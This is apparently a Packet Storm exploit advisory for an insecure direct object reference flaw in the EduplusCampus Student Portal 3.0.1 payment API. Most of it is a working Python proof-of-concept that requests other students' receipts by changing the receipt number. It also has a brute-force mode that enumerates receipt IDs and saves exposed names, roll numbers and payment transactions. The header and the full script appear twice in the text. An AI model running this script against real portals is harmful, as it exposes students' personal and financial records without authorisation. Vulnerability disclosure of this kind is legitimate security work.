6.5
/ 10
MEDIUM
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Description
EduplusCampus Student Portal version 3.0.1 suffers from an insecure direct object reference vulnerability...
Basic Information
ID
PACKETSTORM:212772
Published
Dec 12, 2025 at 00:00
Affected Product
Affected Versions
=============================================================================================================================================
| # Title : EduplusCampus student portal v 3.0.1 Broken Access Control |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://www.edupluscampus.com |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/211727/
[+] Summary : Insecure Direct Object Reference (IDOR) vulnerability in EduplusCampus Student Payment API (version 3.0.1)
that allows authenticated users to access other students' sensitive financial and personal information without proper authorization.
[+] POC :
#!/usr/bin/env python3
"""
Proof of Concept: CVE-2025-61148
IDOR Vulnerability in EduplusCampus Student Payment API
Author: indoushka
"""
import requests
import json
import sys
import argparse
from colorama import Fore, Style, init
# Initialize colorama for colored output
init(autoreset=True)
class CVE202561148_POC:
def __init__(self, base_url, auth_token):
self.base_url = base_url.rstrip('/')
self.headers = {
'Authorization': f'Bearer {auth_token}',
'Content-Type': 'application/json',
'User-Agent': 'Mozilla/5.0 (Security-Test)'
}
def print_banner(self):
"""Display vulnerability banner"""
banner = f"""
{Fore.RED}╔══════════════════════════════════════════════════════════════╗
║ CVE-2025-61148: IDOR Vulnerability POC ║
║ EduplusCampus Student Payment API ║
╚══════════════════════════════════════════════════════════════╝{Style.RESET_ALL}
"""
print(banner)
def test_idor(self, original_rec_no, target_rec_no):
"""Test IDOR vulnerability by modifying rec_no parameter"""
endpoint = f"{self.base_url}/student/get-receipt"
# Original request (authorized)
original_data = {
"rec_no": original_rec_no
}
# Malicious request (unauthorized access attempt)
malicious_data = {
"rec_no": target_rec_no
}
print(f"{Fore.CYAN}[*] Testing IDOR vulnerability...{Style.RESET_ALL}")
print(f"{Fore.YELLOW}[+] Original receipt number: {original_rec_no}{Style.RESET_ALL}")
print(f"{Fore.YELLOW}[+] Target receipt number: {target_rec_no}{Style.RESET_ALL}")
try:
# Test with original receipt number
print(f"\n{Fore.WHITE}[1] Sending request for authorized receipt...{Style.RESET_ALL}")
resp_original = requests.post(
endpoint,
headers=self.headers,
json=original_data,
timeout=30
)
# Test with target receipt number
print(f"{Fore.WHITE}[2] Sending request for target receipt (IDOR test)...{Style.RESET_ALL}")
resp_target = requests.post(
endpoint,
headers=self.headers,
json=malicious_data,
timeout=30
)
# Analyze responses
self.analyze_responses(resp_original, resp_target)
except requests.exceptions.RequestException as e:
print(f"{Fore.RED}[-] Request failed: {str(e)}{Style.RESET_ALL}")
return False
def analyze_responses(self, resp_original, resp_target):
"""Analyze and compare the responses"""
print(f"\n{Fore.CYAN}[*] Response Analysis:{Style.RESET_ALL}")
print(f"{'='*60}")
# Original response
print(f"{Fore.GREEN}[+] Original Request (Authorized):{Style.RESET_ALL}")
print(f" Status Code: {resp_original.status_code}")
if resp_original.status_code == 200:
try:
data = resp_original.json()
print(f" Response Length: {len(resp_original.text)} characters")
if 'fullname' in data:
print(f" Contains PII: {Fore.RED}YES{Style.RESET_ALL}")
except:
print(f" Response: {resp_original.text[:100]}...")
# Target response
print(f"\n{Fore.RED}[+] Target Request (Unauthorized):{Style.RESET_ALL}")
print(f" Status Code: {resp_target.status_code}")
if resp_target.status_code == 200:
try:
data = resp_target.json()
print(f" Response Length: {len(resp_target.text)} characters")
# Check if vulnerable
if 'fullname' in data or 'rollno' in data:
print(f"{Fore.RED}[!] VULNERABLE - Successfully accessed other user's data!{Style.RESET_ALL}")
print(f"\n{Fore.YELLOW}[*] Exposed Information:{Style.RESET_ALL}")
# Display sensitive data (redacted for safety)
sensitive_keys = ['fullname', 'rollno', 'component_total_amount',
'trans_list', 'tid', 'date', 'amount']
for key in sensitive_keys:
if key in str(data):
if key == 'fullname':
print(f" • Full Name: {Fore.RED}[REDACTED]{Style.RESET_ALL}")
elif key == 'rollno':
print(f" • Roll Number: {data.get('rollno', 'N/A')}")
elif key == 'component_total_amount':
print(f" • Payment Amount: {data.get('component_total_amount', 'N/A')}")
elif key == 'trans_list':
transactions = data.get('trans_list', [])
if transactions:
print(f" • Transaction Details:")
for trans in transactions:
print(f" - Date: {trans.get('date', 'N/A')}")
print(f" - Amount: {trans.get('amount', 'N/A')}")
print(f" - TID: {trans.get('tid', 'N/A')}")
# Save proof
self.save_proof(data)
except json.JSONDecodeError:
print(f" Response: {resp_target.text[:200]}...")
if len(resp_target.text) > 100:
print(f"{Fore.RED}[!] Potential vulnerability detected!{Style.RESET_ALL}")
else:
print(f" Response: {resp_target.text[:100]}...")
def save_proof(self, data):
"""Save proof of concept results"""
filename = f"idor_proof_cve_2025_61148.json"
with open(filename, 'w') as f:
json.dump(data, f, indent=2)
print(f"\n{Fore.GREEN}[+] Proof saved to: {filename}{Style.RESET_ALL}")
def brute_force_receipts(self, prefix="PCUF-", start=231800, end=232100):
"""Attempt to discover valid receipt numbers"""
print(f"\n{Fore.CYAN}[*] Brute-forcing receipt numbers...{Style.RESET_ALL}")
print(f" Range: {prefix}{start} to {prefix}{end}")
found_receipts = []
endpoint = f"{self.base_url}/student/get-receipt"
for i in range(start, end + 1):
rec_no = f"{prefix}{i}"
data = {"rec_no": rec_no}
try:
resp = requests.post(
endpoint,
headers=self.headers,
json=data,
timeout=10
)
if resp.status_code == 200:
print(f"{Fore.GREEN}[+] Found valid receipt: {rec_no}{Style.RESET_ALL}")
found_receipts.append(rec_no)
# Quick analysis
try:
resp_data = resp.json()
if 'fullname' in resp_data:
print(f" Contains PII: YES")
except:
pass
except requests.exceptions.RequestException:
continue
return found_receipts
def main():
parser = argparse.ArgumentParser(
description="CVE-2025-61148: IDOR Vulnerability POC for EduplusCampus",
formatter_class=argparse.RawDescriptionHelpFormatter
)
parser.add_argument("-u", "--url", required=True, help="Base URL (e.g., https://student.edupluscampus.com)")
parser.add_argument("-t", "--token", required=True, help="Bearer token for authentication")
parser.add_argument("-o", "--original", help="Original receipt number (authorized)")
parser.add_argument("-T", "--target", help="Target receipt number to test")
parser.add_argument("-b", "--bruteforce", action="store_true", help="Enable brute-force mode")
parser.add_argument("-p", "--prefix", default="PCUF-", help="Receipt number prefix for brute-force")
args = parser.parse_args()
# Initialize POC
poc = CVE202561148_POC(args.url, args.token)
poc.print_banner()
print(f"{Fore.CYAN}[*] Target: {args.url}{Style.RESET_ALL}")
print(f"{Fore.CYAN}[*] Authentication token provided: {'*' * 20}{Style.RESET_ALL}")
if args.bruteforce:
# Brute-force mode
print(f"\n{Fore.YELLOW}[!] Starting brute-force attack...{Style.RESET_ALL}")
found = poc.brute_force_receipts(prefix=args.prefix)
if found:
print(f"\n{Fore.GREEN}[+] Found {len(found)} valid receipt numbers{Style.RESET_ALL}")
for receipt in found:
print(f" • {receipt}")
else:
print(f"{Fore.RED}[-] No valid receipt numbers found in the range{Style.RESET_ALL}")
elif args.original and args.target:
# Specific test mode
poc.test_idor(args.original, args.target)
else:
print(f"{Fore.YELLOW}[!] Usage examples:{Style.RESET_ALL}")
print(f" Specific test: python poc.py -u https://target.com -t YOUR_TOKEN -o PCUF-232025 -T PCUF-231824")
print(f" Brute-force: python poc.py -u https://target.com -t YOUR_TOKEN -b")
print(f"\n{Fore.RED}[!] WARNING: Use only on authorized systems!{Style.RESET_ALL}")
if __name__ == "__main__":
main()
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================
| # Title : EduplusCampus student portal v 3.0.1 Broken Access Control |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://www.edupluscampus.com |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/211727/
[+] Summary : Insecure Direct Object Reference (IDOR) vulnerability in EduplusCampus Student Payment API (version 3.0.1)
that allows authenticated users to access other students' sensitive financial and personal information without proper authorization.
[+] POC :
#!/usr/bin/env python3
"""
Proof of Concept: CVE-2025-61148
IDOR Vulnerability in EduplusCampus Student Payment API
Author: indoushka
"""
import requests
import json
import sys
import argparse
from colorama import Fore, Style, init
# Initialize colorama for colored output
init(autoreset=True)
class CVE202561148_POC:
def __init__(self, base_url, auth_token):
self.base_url = base_url.rstrip('/')
self.headers = {
'Authorization': f'Bearer {auth_token}',
'Content-Type': 'application/json',
'User-Agent': 'Mozilla/5.0 (Security-Test)'
}
def print_banner(self):
"""Display vulnerability banner"""
banner = f"""
{Fore.RED}╔══════════════════════════════════════════════════════════════╗
║ CVE-2025-61148: IDOR Vulnerability POC ║
║ EduplusCampus Student Payment API ║
╚══════════════════════════════════════════════════════════════╝{Style.RESET_ALL}
"""
print(banner)
def test_idor(self, original_rec_no, target_rec_no):
"""Test IDOR vulnerability by modifying rec_no parameter"""
endpoint = f"{self.base_url}/student/get-receipt"
# Original request (authorized)
original_data = {
"rec_no": original_rec_no
}
# Malicious request (unauthorized access attempt)
malicious_data = {
"rec_no": target_rec_no
}
print(f"{Fore.CYAN}[*] Testing IDOR vulnerability...{Style.RESET_ALL}")
print(f"{Fore.YELLOW}[+] Original receipt number: {original_rec_no}{Style.RESET_ALL}")
print(f"{Fore.YELLOW}[+] Target receipt number: {target_rec_no}{Style.RESET_ALL}")
try:
# Test with original receipt number
print(f"\n{Fore.WHITE}[1] Sending request for authorized receipt...{Style.RESET_ALL}")
resp_original = requests.post(
endpoint,
headers=self.headers,
json=original_data,
timeout=30
)
# Test with target receipt number
print(f"{Fore.WHITE}[2] Sending request for target receipt (IDOR test)...{Style.RESET_ALL}")
resp_target = requests.post(
endpoint,
headers=self.headers,
json=malicious_data,
timeout=30
)
# Analyze responses
self.analyze_responses(resp_original, resp_target)
except requests.exceptions.RequestException as e:
print(f"{Fore.RED}[-] Request failed: {str(e)}{Style.RESET_ALL}")
return False
def analyze_responses(self, resp_original, resp_target):
"""Analyze and compare the responses"""
print(f"\n{Fore.CYAN}[*] Response Analysis:{Style.RESET_ALL}")
print(f"{'='*60}")
# Original response
print(f"{Fore.GREEN}[+] Original Request (Authorized):{Style.RESET_ALL}")
print(f" Status Code: {resp_original.status_code}")
if resp_original.status_code == 200:
try:
data = resp_original.json()
print(f" Response Length: {len(resp_original.text)} characters")
if 'fullname' in data:
print(f" Contains PII: {Fore.RED}YES{Style.RESET_ALL}")
except:
print(f" Response: {resp_original.text[:100]}...")
# Target response
print(f"\n{Fore.RED}[+] Target Request (Unauthorized):{Style.RESET_ALL}")
print(f" Status Code: {resp_target.status_code}")
if resp_target.status_code == 200:
try:
data = resp_target.json()
print(f" Response Length: {len(resp_target.text)} characters")
# Check if vulnerable
if 'fullname' in data or 'rollno' in data:
print(f"{Fore.RED}[!] VULNERABLE - Successfully accessed other user's data!{Style.RESET_ALL}")
print(f"\n{Fore.YELLOW}[*] Exposed Information:{Style.RESET_ALL}")
# Display sensitive data (redacted for safety)
sensitive_keys = ['fullname', 'rollno', 'component_total_amount',
'trans_list', 'tid', 'date', 'amount']
for key in sensitive_keys:
if key in str(data):
if key == 'fullname':
print(f" • Full Name: {Fore.RED}[REDACTED]{Style.RESET_ALL}")
elif key == 'rollno':
print(f" • Roll Number: {data.get('rollno', 'N/A')}")
elif key == 'component_total_amount':
print(f" • Payment Amount: {data.get('component_total_amount', 'N/A')}")
elif key == 'trans_list':
transactions = data.get('trans_list', [])
if transactions:
print(f" • Transaction Details:")
for trans in transactions:
print(f" - Date: {trans.get('date', 'N/A')}")
print(f" - Amount: {trans.get('amount', 'N/A')}")
print(f" - TID: {trans.get('tid', 'N/A')}")
# Save proof
self.save_proof(data)
except json.JSONDecodeError:
print(f" Response: {resp_target.text[:200]}...")
if len(resp_target.text) > 100:
print(f"{Fore.RED}[!] Potential vulnerability detected!{Style.RESET_ALL}")
else:
print(f" Response: {resp_target.text[:100]}...")
def save_proof(self, data):
"""Save proof of concept results"""
filename = f"idor_proof_cve_2025_61148.json"
with open(filename, 'w') as f:
json.dump(data, f, indent=2)
print(f"\n{Fore.GREEN}[+] Proof saved to: {filename}{Style.RESET_ALL}")
def brute_force_receipts(self, prefix="PCUF-", start=231800, end=232100):
"""Attempt to discover valid receipt numbers"""
print(f"\n{Fore.CYAN}[*] Brute-forcing receipt numbers...{Style.RESET_ALL}")
print(f" Range: {prefix}{start} to {prefix}{end}")
found_receipts = []
endpoint = f"{self.base_url}/student/get-receipt"
for i in range(start, end + 1):
rec_no = f"{prefix}{i}"
data = {"rec_no": rec_no}
try:
resp = requests.post(
endpoint,
headers=self.headers,
json=data,
timeout=10
)
if resp.status_code == 200:
print(f"{Fore.GREEN}[+] Found valid receipt: {rec_no}{Style.RESET_ALL}")
found_receipts.append(rec_no)
# Quick analysis
try:
resp_data = resp.json()
if 'fullname' in resp_data:
print(f" Contains PII: YES")
except:
pass
except requests.exceptions.RequestException:
continue
return found_receipts
def main():
parser = argparse.ArgumentParser(
description="CVE-2025-61148: IDOR Vulnerability POC for EduplusCampus",
formatter_class=argparse.RawDescriptionHelpFormatter
)
parser.add_argument("-u", "--url", required=True, help="Base URL (e.g., https://student.edupluscampus.com)")
parser.add_argument("-t", "--token", required=True, help="Bearer token for authentication")
parser.add_argument("-o", "--original", help="Original receipt number (authorized)")
parser.add_argument("-T", "--target", help="Target receipt number to test")
parser.add_argument("-b", "--bruteforce", action="store_true", help="Enable brute-force mode")
parser.add_argument("-p", "--prefix", default="PCUF-", help="Receipt number prefix for brute-force")
args = parser.parse_args()
# Initialize POC
poc = CVE202561148_POC(args.url, args.token)
poc.print_banner()
print(f"{Fore.CYAN}[*] Target: {args.url}{Style.RESET_ALL}")
print(f"{Fore.CYAN}[*] Authentication token provided: {'*' * 20}{Style.RESET_ALL}")
if args.bruteforce:
# Brute-force mode
print(f"\n{Fore.YELLOW}[!] Starting brute-force attack...{Style.RESET_ALL}")
found = poc.brute_force_receipts(prefix=args.prefix)
if found:
print(f"\n{Fore.GREEN}[+] Found {len(found)} valid receipt numbers{Style.RESET_ALL}")
for receipt in found:
print(f" • {receipt}")
else:
print(f"{Fore.RED}[-] No valid receipt numbers found in the range{Style.RESET_ALL}")
elif args.original and args.target:
# Specific test mode
poc.test_idor(args.original, args.target)
else:
print(f"{Fore.YELLOW}[!] Usage examples:{Style.RESET_ALL}")
print(f" Specific test: python poc.py -u https://target.com -t YOUR_TOKEN -o PCUF-232025 -T PCUF-231824")
print(f" Brute-force: python poc.py -u https://target.com -t YOUR_TOKEN -b")
print(f"\n{Fore.RED}[!] WARNING: Use only on authorized systems!{Style.RESET_ALL}")
if __name__ == "__main__":
main()
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================